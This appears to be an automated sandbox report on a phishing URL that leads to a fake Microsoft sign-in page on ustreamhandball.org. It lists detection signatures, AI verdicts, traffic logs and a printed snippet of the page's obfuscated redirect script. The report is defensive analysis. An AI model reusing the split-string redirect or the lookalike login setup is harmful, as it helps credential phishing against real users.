Edit tour

Windows Analysis Report
https://sacredartscommunications.com/

Overview

General Information

Sample URL:	https://sacredartscommunications.com/
Analysis ID:	1587126
Tags:	urlscan
Infos:

Detection

HTMLPhisher

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Yara detected HtmlPhish54

AI detected suspicious Javascript

HTML body contains low number of good links

HTML page contains hidden javascript code

HTML page contains string obfuscation

HTML title does not match URL

Classification

Process Tree

System is w10x64

chrome.exe (PID: 5096 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 3636 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2120 --field-trial-handle=2036,i,10849701497838588291,12156381066971431454,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 5368 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://sacredartscommunications.com/" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
0.4.id.script.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
0.20.i.script.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
2.4.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
2.3.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
3.8.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
3.5.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
3.6.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
3.9.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
Click to see the 3 entries

Source: https://login.ustreamhandball.org/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638720616732439502.ZDkzZTlhNDMtYjA4Yi00ZmY0LWFjYWYtMzg0OThhN2I2ZjYzY2E3MDM5M2EtNjU4NC00Njg0LWJkMTAtZmExMGY2NDliNTBl&ui_locales=en-US&mkt=en-US&client-request-id=6d79123f-f278-4173-b566-f561b534f115&state=1JmhBQKzmfY82d8qNoYK6KrmFj-703a8z5_WR4b4eUt-eu1NnnUlqjdqOyw-eQN85zCxfMrs9oukx7EVU6PCCty4I-buzY7pkmVHAKULEuiSV5D-Milk1EawBA597CIt9PK6Ezz-qCo68l_tMYLKcliM9sEpc5ydN9bd61xbzh-ywUIE5qcPOKoXxZzp2HPNtIWg35CvWPLV13LMQg9t4g50jYEu_ewHsD4DLfpvicFv8eqVtNQv_CkaFN6ZavOlQvqWW_jVRsAftXugH-g_SA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true

Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'., The URL 'login.ustreamhandball.org' does not match the legitimate domain for Microsoft., The domain 'ustreamhandball.org' does not have any known association with Microsoft., The presence of a login page on a domain unrelated to Microsoft is suspicious., The email input field 'w3o2ts@mpfzjg.co' does not provide any context or association with Microsoft. DOM: 3.9.pages.csv

Yara detected HtmlPhish54

Source: Yara match	File source: 0.4.id.script.csv, type: HTML
Source: Yara match	File source: 0.20.i.script.csv, type: HTML
Source: Yara match	File source: 2.4.pages.csv, type: HTML
Source: Yara match	File source: 2.3.pages.csv, type: HTML
Source: Yara match	File source: 3.8.pages.csv, type: HTML
Source: Yara match	File source: 3.5.pages.csv, type: HTML
Source: Yara match	File source: 3.6.pages.csv, type: HTML
Source: Yara match	File source: 3.9.pages.csv, type: HTML

AI detected suspicious Javascript

Source: 0.0.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://www.ustreamhandball.org/ZspqXQij... The script demonstrates several high-risk behaviors, including the use of obfuscated URLs and redirecting to a suspicious domain. While the script appears to be using a legitimate Turnstile widget, the obfuscation and redirection to an unknown domain raise concerns about potential malicious intent.
Source: 0.22.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://login.ustreamhandball.org/common/oauth2/v2... This script demonstrates several high-risk behaviors, including redirecting the user to an unknown domain and potentially collecting sensitive information (session ID) without transparency. While the script may have a legitimate purpose, such as preventing unauthorized framing, the lack of context and the use of obfuscated code raise significant security concerns.

Source: https://login.ustreamhandball.org/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638720616732439502.ZDkzZTlhNDMtYjA4Yi00ZmY0LWFjYWYtMzg0OThhN2I2ZjYzY2E3MDM5M2EtNjU4NC00Njg0LWJkMTAtZmExMGY2NDliNTBl&ui_locales=en-US&mkt=en-US&client-request-id=6d79123f-f278-4173-b566-f561b534f115&state=1JmhBQKzmfY82d8qNoYK6KrmFj-703a8z5_WR4b4eUt-eu1NnnUlqjdqOyw-eQN85zCxfMrs9oukx7EVU6PCCty4I-buzY7pkmVHAKULEuiSV5D-Milk1EawBA597CIt9PK6Ezz-qCo68l_tMYLKcliM9sEpc5ydN9bd61xbzh-ywUIE5qcPOKoXxZzp2HPNtIWg35CvWPLV13LMQg9t4g50jYEu_ewHsD4DLfpvicFv8eqVtNQv_CkaFN6ZavOlQvqWW_jVRsAftXugH-g_SA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: Number of links: 0
Source: https://login.ustreamhandball.org/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638720616732439502.ZDkzZTlhNDMtYjA4Yi00ZmY0LWFjYWYtMzg0OThhN2I2ZjYzY2E3MDM5M2EtNjU4NC00Njg0LWJkMTAtZmExMGY2NDliNTBl&ui_locales=en-US&mkt=en-US&client-request-id=6d79123f-f278-4173-b566-f561b534f115&state=1JmhBQKzmfY82d8qNoYK6KrmFj-703a8z5_WR4b4eUt-eu1NnnUlqjdqOyw-eQN85zCxfMrs9oukx7EVU6PCCty4I-buzY7pkmVHAKULEuiSV5D-Milk1EawBA597CIt9PK6Ezz-qCo68l_tMYLKcliM9sEpc5ydN9bd61xbzh-ywUIE5qcPOKoXxZzp2HPNtIWg35CvWPLV13LMQg9t4g50jYEu_ewHsD4DLfpvicFv8eqVtNQv_CkaFN6ZavOlQvqWW_jVRsAftXugH-g_SA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: Number of links: 0

HTTP Parser: Base64 decoded: d93e9a43-b08b-4ff4-acaf-38498a7b6f63ca70393a-6584-4684-bd10-fa10f649b50e

Source: https://www.ustreamhandball.org/ZspqXQij

HTTP Parser: Found new string: script . turnstile.ready(function () {. turnstile.render('#cf-turnstile', {. sitekey: '0x4AAAAAAA1wI9U09BCnh_d1', // replace this with your own sitekey. 'widget-mode': 'invisible', // ensure the widget is invisible. callback: function (token) {. // Redirect after successful verification. window.location.assign('htt' + 'ps' + ':' + '//' + 'www' + '.u' + 'st' + 'r' + 'e' + 'a' + 'm' + 'ha' + 'nd' + 'bal' + 'l.' + 'or' + 'g' + '/' + 'Zs' + 'pq' + 'XQi' + 'j?n' + '=' + 'GTF' + 'Fx' + 'd' + '4');. },. });. });...

Source: https://login.ustreamhandball.org/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638720616732439502.ZDkzZTlhNDMtYjA4Yi00ZmY0LWFjYWYtMzg0OThhN2I2ZjYzY2E3MDM5M2EtNjU4NC00Njg0LWJkMTAtZmExMGY2NDliNTBl&ui_locales=en-US&mkt=en-US&client-request-id=6d79123f-f278-4173-b566-f561b534f115&state=1JmhBQKzmfY82d8qNoYK6KrmFj-703a8z5_WR4b4eUt-eu1NnnUlqjdqOyw-eQN85zCxfMrs9oukx7EVU6PCCty4I-buzY7pkmVHAKULEuiSV5D-Milk1EawBA597CIt9PK6Ezz-qCo68l_tMYLKcliM9sEpc5ydN9bd61xbzh-ywUIE5qcPOKoXxZzp2HPNtIWg35CvWPLV13LMQg9t4g50jYEu_ewHsD4DLfpvicFv8eqVtNQv_CkaFN6ZavOlQvqWW_jVRsAftXugH-g_SA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: Title: Redirecting does not match URL
Source: https://login.ustreamhandball.org/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638720616732439502.ZDkzZTlhNDMtYjA4Yi00ZmY0LWFjYWYtMzg0OThhN2I2ZjYzY2E3MDM5M2EtNjU4NC00Njg0LWJkMTAtZmExMGY2NDliNTBl&ui_locales=en-US&mkt=en-US&client-request-id=6d79123f-f278-4173-b566-f561b534f115&state=1JmhBQKzmfY82d8qNoYK6KrmFj-703a8z5_WR4b4eUt-eu1NnnUlqjdqOyw-eQN85zCxfMrs9oukx7EVU6PCCty4I-buzY7pkmVHAKULEuiSV5D-Milk1EawBA597CIt9PK6Ezz-qCo68l_tMYLKcliM9sEpc5ydN9bd61xbzh-ywUIE5qcPOKoXxZzp2HPNtIWg35CvWPLV13LMQg9t4g50jYEu_ewHsD4DLfpvicFv8eqVtNQv_CkaFN6ZavOlQvqWW_jVRsAftXugH-g_SA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: Title: Sign in to your account does not match URL

HTTP Parser: Iframe src: https://login.live.com/Me.htm?v=3

HTTP Parser: <input type="password" .../> found

Source: https://www.ustreamhandball.org/ZspqXQij	HTTP Parser: No favicon
Source: https://www.ustreamhandball.org/ZspqXQij	HTTP Parser: No favicon
Source: https://login.ustreamhandball.org/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638720616732439502.ZDkzZTlhNDMtYjA4Yi00ZmY0LWFjYWYtMzg0OThhN2I2ZjYzY2E3MDM5M2EtNjU4NC00Njg0LWJkMTAtZmExMGY2NDliNTBl&ui_locales=en-US&mkt=en-US&client-request-id=6d79123f-f278-4173-b566-f561b534f115&state=1JmhBQKzmfY82d8qNoYK6KrmFj-703a8z5_WR4b4eUt-eu1NnnUlqjdqOyw-eQN85zCxfMrs9oukx7EVU6PCCty4I-buzY7pkmVHAKULEuiSV5D-Milk1EawBA597CIt9PK6Ezz-qCo68l_tMYLKcliM9sEpc5ydN9bd61xbzh-ywUIE5qcPOKoXxZzp2HPNtIWg35CvWPLV13LMQg9t4g50jYEu_ewHsD4DLfpvicFv8eqVtNQv_CkaFN6ZavOlQvqWW_jVRsAftXugH-g_SA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: No favicon
Source: https://login.ustreamhandball.org/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638720616732439502.ZDkzZTlhNDMtYjA4Yi00ZmY0LWFjYWYtMzg0OThhN2I2ZjYzY2E3MDM5M2EtNjU4NC00Njg0LWJkMTAtZmExMGY2NDliNTBl&ui_locales=en-US&mkt=en-US&client-request-id=6d79123f-f278-4173-b566-f561b534f115&state=1JmhBQKzmfY82d8qNoYK6KrmFj-703a8z5_WR4b4eUt-eu1NnnUlqjdqOyw-eQN85zCxfMrs9oukx7EVU6PCCty4I-buzY7pkmVHAKULEuiSV5D-Milk1EawBA597CIt9PK6Ezz-qCo68l_tMYLKcliM9sEpc5ydN9bd61xbzh-ywUIE5qcPOKoXxZzp2HPNtIWg35CvWPLV13LMQg9t4g50jYEu_ewHsD4DLfpvicFv8eqVtNQv_CkaFN6ZavOlQvqWW_jVRsAftXugH-g_SA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: No favicon

Source: https://login.ustreamhandball.org/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638720616732439502.ZDkzZTlhNDMtYjA4Yi00ZmY0LWFjYWYtMzg0OThhN2I2ZjYzY2E3MDM5M2EtNjU4NC00Njg0LWJkMTAtZmExMGY2NDliNTBl&ui_locales=en-US&mkt=en-US&client-request-id=6d79123f-f278-4173-b566-f561b534f115&state=1JmhBQKzmfY82d8qNoYK6KrmFj-703a8z5_WR4b4eUt-eu1NnnUlqjdqOyw-eQN85zCxfMrs9oukx7EVU6PCCty4I-buzY7pkmVHAKULEuiSV5D-Milk1EawBA597CIt9PK6Ezz-qCo68l_tMYLKcliM9sEpc5ydN9bd61xbzh-ywUIE5qcPOKoXxZzp2HPNtIWg35CvWPLV13LMQg9t4g50jYEu_ewHsD4DLfpvicFv8eqVtNQv_CkaFN6ZavOlQvqWW_jVRsAftXugH-g_SA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: No <meta name="author".. found
Source: https://login.ustreamhandball.org/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638720616732439502.ZDkzZTlhNDMtYjA4Yi00ZmY0LWFjYWYtMzg0OThhN2I2ZjYzY2E3MDM5M2EtNjU4NC00Njg0LWJkMTAtZmExMGY2NDliNTBl&ui_locales=en-US&mkt=en-US&client-request-id=6d79123f-f278-4173-b566-f561b534f115&state=1JmhBQKzmfY82d8qNoYK6KrmFj-703a8z5_WR4b4eUt-eu1NnnUlqjdqOyw-eQN85zCxfMrs9oukx7EVU6PCCty4I-buzY7pkmVHAKULEuiSV5D-Milk1EawBA597CIt9PK6Ezz-qCo68l_tMYLKcliM9sEpc5ydN9bd61xbzh-ywUIE5qcPOKoXxZzp2HPNtIWg35CvWPLV13LMQg9t4g50jYEu_ewHsD4DLfpvicFv8eqVtNQv_CkaFN6ZavOlQvqWW_jVRsAftXugH-g_SA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://login.ustreamhandball.org/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638720616732439502.ZDkzZTlhNDMtYjA4Yi00ZmY0LWFjYWYtMzg0OThhN2I2ZjYzY2E3MDM5M2EtNjU4NC00Njg0LWJkMTAtZmExMGY2NDliNTBl&ui_locales=en-US&mkt=en-US&client-request-id=6d79123f-f278-4173-b566-f561b534f115&state=1JmhBQKzmfY82d8qNoYK6KrmFj-703a8z5_WR4b4eUt-eu1NnnUlqjdqOyw-eQN85zCxfMrs9oukx7EVU6PCCty4I-buzY7pkmVHAKULEuiSV5D-Milk1EawBA597CIt9PK6Ezz-qCo68l_tMYLKcliM9sEpc5ydN9bd61xbzh-ywUIE5qcPOKoXxZzp2HPNtIWg35CvWPLV13LMQg9t4g50jYEu_ewHsD4DLfpvicFv8eqVtNQv_CkaFN6ZavOlQvqWW_jVRsAftXugH-g_SA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://login.ustreamhandball.org/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638720616732439502.ZDkzZTlhNDMtYjA4Yi00ZmY0LWFjYWYtMzg0OThhN2I2ZjYzY2E3MDM5M2EtNjU4NC00Njg0LWJkMTAtZmExMGY2NDliNTBl&ui_locales=en-US&mkt=en-US&client-request-id=6d79123f-f278-4173-b566-f561b534f115&state=1JmhBQKzmfY82d8qNoYK6KrmFj-703a8z5_WR4b4eUt-eu1NnnUlqjdqOyw-eQN85zCxfMrs9oukx7EVU6PCCty4I-buzY7pkmVHAKULEuiSV5D-Milk1EawBA597CIt9PK6Ezz-qCo68l_tMYLKcliM9sEpc5ydN9bd61xbzh-ywUIE5qcPOKoXxZzp2HPNtIWg35CvWPLV13LMQg9t4g50jYEu_ewHsD4DLfpvicFv8eqVtNQv_CkaFN6ZavOlQvqWW_jVRsAftXugH-g_SA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://login.ustreamhandball.org/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638720616732439502.ZDkzZTlhNDMtYjA4Yi00ZmY0LWFjYWYtMzg0OThhN2I2ZjYzY2E3MDM5M2EtNjU4NC00Njg0LWJkMTAtZmExMGY2NDliNTBl&ui_locales=en-US&mkt=en-US&client-request-id=6d79123f-f278-4173-b566-f561b534f115&state=1JmhBQKzmfY82d8qNoYK6KrmFj-703a8z5_WR4b4eUt-eu1NnnUlqjdqOyw-eQN85zCxfMrs9oukx7EVU6PCCty4I-buzY7pkmVHAKULEuiSV5D-Milk1EawBA597CIt9PK6Ezz-qCo68l_tMYLKcliM9sEpc5ydN9bd61xbzh-ywUIE5qcPOKoXxZzp2HPNtIWg35CvWPLV13LMQg9t4g50jYEu_ewHsD4DLfpvicFv8eqVtNQv_CkaFN6ZavOlQvqWW_jVRsAftXugH-g_SA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found

Source: https://login.ustreamhandball.org/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638720616732439502.ZDkzZTlhNDMtYjA4Yi00ZmY0LWFjYWYtMzg0OThhN2I2ZjYzY2E3MDM5M2EtNjU4NC00Njg0LWJkMTAtZmExMGY2NDliNTBl&ui_locales=en-US&mkt=en-US&client-request-id=6d79123f-f278-4173-b566-f561b534f115&state=1JmhBQKzmfY82d8qNoYK6KrmFj-703a8z5_WR4b4eUt-eu1NnnUlqjdqOyw-eQN85zCxfMrs9oukx7EVU6PCCty4I-buzY7pkmVHAKULEuiSV5D-Milk1EawBA597CIt9PK6Ezz-qCo68l_tMYLKcliM9sEpc5ydN9bd61xbzh-ywUIE5qcPOKoXxZzp2HPNtIWg35CvWPLV13LMQg9t4g50jYEu_ewHsD4DLfpvicFv8eqVtNQv_CkaFN6ZavOlQvqWW_jVRsAftXugH-g_SA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: No <meta name="copyright".. found
Source: https://login.ustreamhandball.org/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638720616732439502.ZDkzZTlhNDMtYjA4Yi00ZmY0LWFjYWYtMzg0OThhN2I2ZjYzY2E3MDM5M2EtNjU4NC00Njg0LWJkMTAtZmExMGY2NDliNTBl&ui_locales=en-US&mkt=en-US&client-request-id=6d79123f-f278-4173-b566-f561b534f115&state=1JmhBQKzmfY82d8qNoYK6KrmFj-703a8z5_WR4b4eUt-eu1NnnUlqjdqOyw-eQN85zCxfMrs9oukx7EVU6PCCty4I-buzY7pkmVHAKULEuiSV5D-Milk1EawBA597CIt9PK6Ezz-qCo68l_tMYLKcliM9sEpc5ydN9bd61xbzh-ywUIE5qcPOKoXxZzp2HPNtIWg35CvWPLV13LMQg9t4g50jYEu_ewHsD4DLfpvicFv8eqVtNQv_CkaFN6ZavOlQvqWW_jVRsAftXugH-g_SA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://login.ustreamhandball.org/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638720616732439502.ZDkzZTlhNDMtYjA4Yi00ZmY0LWFjYWYtMzg0OThhN2I2ZjYzY2E3MDM5M2EtNjU4NC00Njg0LWJkMTAtZmExMGY2NDliNTBl&ui_locales=en-US&mkt=en-US&client-request-id=6d79123f-f278-4173-b566-f561b534f115&state=1JmhBQKzmfY82d8qNoYK6KrmFj-703a8z5_WR4b4eUt-eu1NnnUlqjdqOyw-eQN85zCxfMrs9oukx7EVU6PCCty4I-buzY7pkmVHAKULEuiSV5D-Milk1EawBA597CIt9PK6Ezz-qCo68l_tMYLKcliM9sEpc5ydN9bd61xbzh-ywUIE5qcPOKoXxZzp2HPNtIWg35CvWPLV13LMQg9t4g50jYEu_ewHsD4DLfpvicFv8eqVtNQv_CkaFN6ZavOlQvqWW_jVRsAftXugH-g_SA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://login.ustreamhandball.org/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638720616732439502.ZDkzZTlhNDMtYjA4Yi00ZmY0LWFjYWYtMzg0OThhN2I2ZjYzY2E3MDM5M2EtNjU4NC00Njg0LWJkMTAtZmExMGY2NDliNTBl&ui_locales=en-US&mkt=en-US&client-request-id=6d79123f-f278-4173-b566-f561b534f115&state=1JmhBQKzmfY82d8qNoYK6KrmFj-703a8z5_WR4b4eUt-eu1NnnUlqjdqOyw-eQN85zCxfMrs9oukx7EVU6PCCty4I-buzY7pkmVHAKULEuiSV5D-Milk1EawBA597CIt9PK6Ezz-qCo68l_tMYLKcliM9sEpc5ydN9bd61xbzh-ywUIE5qcPOKoXxZzp2HPNtIWg35CvWPLV13LMQg9t4g50jYEu_ewHsD4DLfpvicFv8eqVtNQv_CkaFN6ZavOlQvqWW_jVRsAftXugH-g_SA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://login.ustreamhandball.org/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638720616732439502.ZDkzZTlhNDMtYjA4Yi00ZmY0LWFjYWYtMzg0OThhN2I2ZjYzY2E3MDM5M2EtNjU4NC00Njg0LWJkMTAtZmExMGY2NDliNTBl&ui_locales=en-US&mkt=en-US&client-request-id=6d79123f-f278-4173-b566-f561b534f115&state=1JmhBQKzmfY82d8qNoYK6KrmFj-703a8z5_WR4b4eUt-eu1NnnUlqjdqOyw-eQN85zCxfMrs9oukx7EVU6PCCty4I-buzY7pkmVHAKULEuiSV5D-Milk1EawBA597CIt9PK6Ezz-qCo68l_tMYLKcliM9sEpc5ydN9bd61xbzh-ywUIE5qcPOKoXxZzp2HPNtIWg35CvWPLV13LMQg9t4g50jYEu_ewHsD4DLfpvicFv8eqVtNQv_CkaFN6ZavOlQvqWW_jVRsAftXugH-g_SA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49870 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50077 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50088 version: TLS 1.2

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.36
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.36
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
